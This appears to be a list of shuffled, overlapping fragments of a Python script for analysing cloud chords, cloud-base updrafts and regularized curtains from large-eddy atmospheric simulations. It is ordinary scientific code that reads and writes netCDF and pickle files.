"save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string = directory_output+ reg_var+save_string_base",
"1D pre interpolation #I originally used interp2d, tried griddata but",
"the mean cloud base height as the reference lvl ref_idx",
"n_curtain_dw = 0 #for col in filename_column: n_iter = min(n_iter,N_it_max)",
"the cloud base speeds if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l])",
"panda in ',filename_chord_panda) print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:]",
"regaring time #we also added a minimum height of 100",
"latter apply the nearest value to the full 1d time",
"not to be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector",
"cells needed per chord curtain_min = 10 #Minimal number of",
"if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #for col",
"what is assigned when no clouds are present if scale_flag",
"reg_var = variable that will be regularized # plot_curtains_flag: 0",
"var_curtain_tmp to the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up",
"an additional constraint that each chord must include at least",
"speeds if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration",
"in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] =",
"w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed for anomaly processing #Just grabbing",
"+ total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d = t_1d*0",
"on I set the maximum cbl height to 60 %",
"with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am too",
"30 t_max = 1200*100 #Made a 100 times longer cell_min",
"cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of",
"boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string = directory_output+ reg_var+save_string_base save_string =",
"exactly with not gap possible # directory_input = '/data/testbed/lasso/sims/' #+date",
"number of cells needed per chord ql_min = 1e-5 #value",
"height cbl_1d = t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d = t_1d*0",
"deviding by n it comes out fin #We assume here",
"base speeds if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2)",
"var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] +=",
"grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var ,it,reg_var) #Here we have to",
"if it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher than",
"',n_chords) print('n_curtain: ',n_curtain) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading",
"don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # =",
"cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt]",
"width defined by curtain_extra #takes the original time vector, subtracts",
"cbl_1d_prof[it] #The needed surface buoyancy flux, which is constant everywhere",
"with histograms of w from -10 to 10 and a",
"use Neils values, use values that fit model output exactly",
"t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if anomaly flag is",
"file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:]",
"find c base lower than the max height cbl_cl_idx =",
"t_min which are mostly gaps. t_cloudy_idx = 0 #n_chords =",
"time vec #First loading surface variables from default profile print('calculating",
"timesteps, which is what is assigned when no clouds are",
"mostly gaps. t_cloudy_idx = 0 #n_chords = 0 chord_idx_list =",
"a positive or negative w, then adds to the sum",
"= 250, curtain_extra = 1.0, chord_max = 1e9, boundary_scaling_flag =",
"curtain_min = 10 #Minimal number of cells needed per curtain",
"are always counted as consecutive, not matter the time distance",
"using w* #Is a bit overcooked currently as it only",
"the first or second half if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x",
"',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing saving with xarray xr_dataset =",
"bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1",
"var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2",
"np.array(var_3d.reshape((nz,nx*ny))) #Now we do the same thing with the transposed",
"variables to func_curtain_reg so I instead made it a nested",
"np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star",
"print(':') print(':') print(':') print(':') print(':') print(':') print(':') return #turned into",
"surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d = t_1d*0",
"thl_3d del qt_3d #hopefully this helps gc.collect() #Getting anomalies of",
"vector, subtracts it by mean time, then scales it by",
"',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if scale_flag ==",
"fin #We assume here that n_x and n_y are roughly",
"#Calculate the beginning and end of the curtain, we add",
"height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs =",
"any variable in the column output, or for any 3D",
"thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d = file_col.variables['u'][:]",
"total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz:",
"if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt =",
"= file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz) time_prof = file_prof['time'][:]",
"10 #Minimal number of cells needed to convert into a",
"= time_prof*0.0 #Hack together the Lifting condensation level LCL qt_pressure",
"scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid)",
"curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain has more than curtain_min cells",
"surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating the histogram, and adding it",
"nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof",
"print('calculating cbl height from profile file') T = file_prof['thl'][:,0] p",
"np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl height, which constant",
"#Getting the chord beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord",
"that helps save any memory though del w_3d del ql_3d",
"and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy",
"clustering parameters, #set super strict, but goes on for a",
"directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r')",
"with Neil if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think",
"scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag 2:, mean",
"#moved to an inner function to avoid issues with global",
"of the chordlength, using a 0.1 running mean if base_smoothing_flag",
"np import math from netCDF4 import Dataset import os import",
"= maximum number of iterables, 3D timesteps or column files.",
"= directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned beards to '+save_string)",
"by seeing if we are in the first or second",
"Dataset(filename_qt,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': #",
"#needed for anomaly processing #Just grabbing this to calculate dz",
"+= 1 var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw += 1",
"N_it_max = maximum number of iterables, 3D timesteps or column",
"# filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords = 0 #I will",
"add 0 to the z_reg_orig to enable interpolation z_reg_orig =",
"a loooong time as well if chord_times == 1: t_gap",
"/ (T - 29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum =",
"save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df",
"if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter for",
"w_3d del ql_3d del var_3d gc.collect() #fake t vector, t_1d",
"adding the var_curtain_tmp to the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if",
"saving in pandas chord_timesteps = [] chord_length = [] chord_duration",
"w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:]",
"= np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to get",
"base height if base_smoothing_flag<2: #Now for each of the columns",
"be overwritten after the profile data is loaded dx =",
"np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg])",
"on if scale_flag>0 and data_dim_flag==3: if scale_flag==1: #find out if",
"to point upwind. #TODO #plot_flag disabled for the mean time",
"7 #Number of percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering parameters",
"=len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #Setting curtains for var var_curtain_sum",
"that deviding by n it comes out fin #We assume",
"= var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum += var_curtain_tmp",
"n_x and n_y are roughly same #Could be made cleaner",
"+= 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf how is this",
"'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base =",
"v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref)",
"',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list = [] while t_cloudy_idx <",
"np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, V_ref, time_resolution",
"#Only called if there are any clouds if boundary_scaling_flag ==",
"= t_1d*0 #Now we go through profile time snapshots and",
"cbl height from profile file') T = file_prof['thl'][:,0] p =",
"lot slower #Calculating the regularized t axis but for original",
"star','thl star','qt star', 'thl','thl 25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end",
"to get the right columns and asign them one by",
"used # curtain_extra: Regularized chord length before and after in",
"to process both chords and regularized beards # proc_chords is",
"'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra",
"align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if",
"range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find",
"var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp",
"var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum +=",
"= '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base",
"u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d)",
"#Index of minimum z_vlvl of the cbl #z_min = 0",
"import interp1d from scipy.interpolate import interp2d #from scipy.interpolate import griddata",
"chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per =",
"= t_1d*0 thlflux_s_1d= t_1d*0 #Now we go through profile time",
"a warning if it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height",
"ql_3d = np.transpose(ql_3d, (0, 2, 1)) qt_3d = np.transpose(qt_3d, (0,",
"Currently using 8 bins of 250 meters length to get",
"an imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny)))",
"= file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof =",
"are calculatted immediately t_cloudy_idx = 0 #n_chords = 0 chord_idx_list",
"less than 2 timesteps, which is what is assigned when",
"#filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = ''",
"t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain has more than curtain_min",
"a bit of memory if reg_var == 'w': var_2d =",
"is a 3D field it will always go over x",
"should be indepenent of wind direction (right?) #Similarly, no basedefinition",
"and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx",
"be able to work for any variable in the column",
"within 300 m of CBL nt = len(cbl_1d) cl_base =",
"length to get started. The lowest bin should be empty,",
"filename_column: n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): time1 =",
"start number of iterables, 3D timesteps or column files. Only",
"data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin]",
"clouds if boundary_scaling_flag == 1 and len(cbl_cl_idx)>1: #First thing to",
"the correct vertical but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid)",
"np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1",
"= cbl_1d_prof[it] #The needed surface buoyancy flux, which is constant",
"= 25, special_name='', scale_flag=2, chord_times = 0, anomaly_flag = 0,",
"1: smooth out base after setting it with running average",
"for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain) time1 =",
"each profile time for tt in range(len(time_prof)): w_var = 1.0",
"do that call the function repeatedly #Should be able to",
"of 250 meters length to get started. The lowest bin",
"than 0.6 domain height, could crash regularization later on, timestep:",
"#Calculating the regularized t axis but for original resolution #It",
"profile if anomaly_flag==1: for tt in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"more than curtain_min cells and curtain tail noes not extend",
"set the pre regularization curtains are plotted. if plot_curtains_flag ==1:",
"height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized",
"directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25, special_name='', chord_times = 0,",
"we only calculate curtains when at least curtain_min is used",
"base_percentile: percentile used to find chordlength bottom # chord_times: 0",
"try to include everything available, but this might break the",
"#Regularizing the z axes so that cloud base is at",
"to the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up +=",
"var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date:",
"a variable below cloud base #Both have a large overlap,",
"of cells needed per chord ql_min = 1e-5 #value used",
"print('filename column included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l =",
"profile # # base_smoothing_flag: 0 use mix of percentile and",
"n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes",
"of the columns of the original curtain a vertical interpolation",
"f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain",
"of iterables, 3D timesteps or column files. Used for testing",
"= np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be",
"curtain #detecting if chord base has a positive or negative",
"cbl_1d_prof = time_prof*0.0 #Hack together the Lifting condensation level LCL",
"str(V_ref)[:4], str(time_resolution)[:4] ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d",
"the plot flag is set the pre regularization curtains are",
"var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'),",
"somewhat general with a flexible variable def proc_pdf(reg_var = 'w',",
"= np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d",
"[] #uses glob to get all files which contain column.",
"fourth and 3/4 of the cloud base cl_base_25_idx = cl_base[ch_idx_l]*0",
"y by seeing if we are in the first or",
"= glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file)",
"0.1 running mean if base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0 N",
"to do all the fuckery to turn the 3D fields",
"chord_height.append(tmp_base_height) #25th percentile of cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star",
"good way to do this, will throw up an error",
"total sums, 1: adds a seperate output for each time",
"= ((A * (T- 273.15)) / (B + (T-273.15))) alpha",
"= file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution =",
"= settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned",
"var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain =",
"it by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now",
"= np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking",
"= date_str #1D clustering parameters in seconds, taken to agree",
"w_var = 1.0 z=z_min while w_var > 0.08: z +=",
"binned beards to '+save_string) print(':') print(':') print(':') print(':') print(':') return",
"qt_prof[tt,:] #because the vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose()",
"and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here the smoother comes into",
"y calculation #Scaling shouldn't be needed, as all chord properties",
"file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof = w2.shape[1]",
"del ql_3d del var_3d gc.collect() #fake t vector, t_1d =",
"#getting variable to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var =",
"indexes of cbl over time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now",
"file_col = Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d",
"chord #and their properties are calculatted immediately t_cloudy_idx = 0",
"possible to get #Small chord lengths with more than t_min",
"fulful chord time requirements and have a number of values",
"+= 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx]",
"= 25.0 #39.0625 #should be overwritten after the profile data",
"way to do this, will throw up an error for",
"dx = 25.0 date = date_str n_percentiles = 7 #Number",
"the histogram, and adding it to the total histogram var_hist,bin_edges",
"are roughly same #Could be made cleaner later on if",
"= np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per",
"qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the",
"',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now calculating the var",
"memory bank #want to keep the automatic x and y",
"settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned beards",
"= save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords)",
"chords #proc_beard_regularize for generating beards #proc_pdf saves pdfs of a",
"time3 = ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords) print('number of time",
"[] chord_length = [] chord_duration = [] chord_time = []",
"before and after in the curtain, default is 1 #",
"full 1d time vec #First loading surface variables from default",
"print(':') print(':') print(':') print(':') print(':') return #turned into a function",
"',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin",
"time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate the beginning and",
"the beginning and end, because for the interpolation a bit",
"to turn the 3D fields into 2d slices with an",
"= np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds are present we pass",
"base has a positive or negative w, then adds to",
"= z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star if reg_var=='qt':",
"go through all cloudy timesteps #As long as the difference",
"and local variables def func_curtain_reg(input_2d_field): #function regularizes to cloud base",
"in range(N_it_min,n_iter): time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column:",
"the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin]",
"is calculated here if required. Is skipped if there are",
"automatic x and y calculation #Scaling shouldn't be needed, as",
"z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to the z_reg_orig",
"# filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' n_chords =",
"#for col in filename_column: n_iter = min(n_iter,N_it_max) for it in",
"print('plotting not implemented yet') ############################################################################################################################## #switching to y direction if",
"= np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the",
"= np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up =",
"just use idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d",
"= file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d =",
"8 bins of 250 meters length to get started. The",
"the curtain, we add a bit to to each side",
"to cloud base #2019-03-20: added smoother to hopefully avoid impact",
"var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a bit of",
"to delete 3d fields as they aren't needed anymore, not",
"if anomaly flag is used if anomaly_flag==1: #because the vectors",
"3D to avoid some weird initial fields. time_begin = ttiimmee.time()",
"currently as it only works with 3D data and thus",
"np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star",
"= np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum =",
"filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords =",
"percentile back z_idx_base[:] = z_idx_base_default #default version for variable base",
"cell is the same as the next index in total,",
"reg_var as it is. 1 use reg_var - profile. Works",
"tmp_vector = var_prof[tt,:] #because the vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"=np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving",
"time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized",
"in total, if so the cells are connected while t_cloudy_idx",
"I just set it really high where there is no",
"more curtain #detecting if chord base has a positive or",
"clustering parameters in seconds, taken to agree with Lareau if",
"scale_flag==0: # scaling_factor=1. #find index of bin close to mid",
"cbl height to 60 % of the domain height, but",
"axes so that cloud base is at 1 d_z_tmp =",
"chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else:",
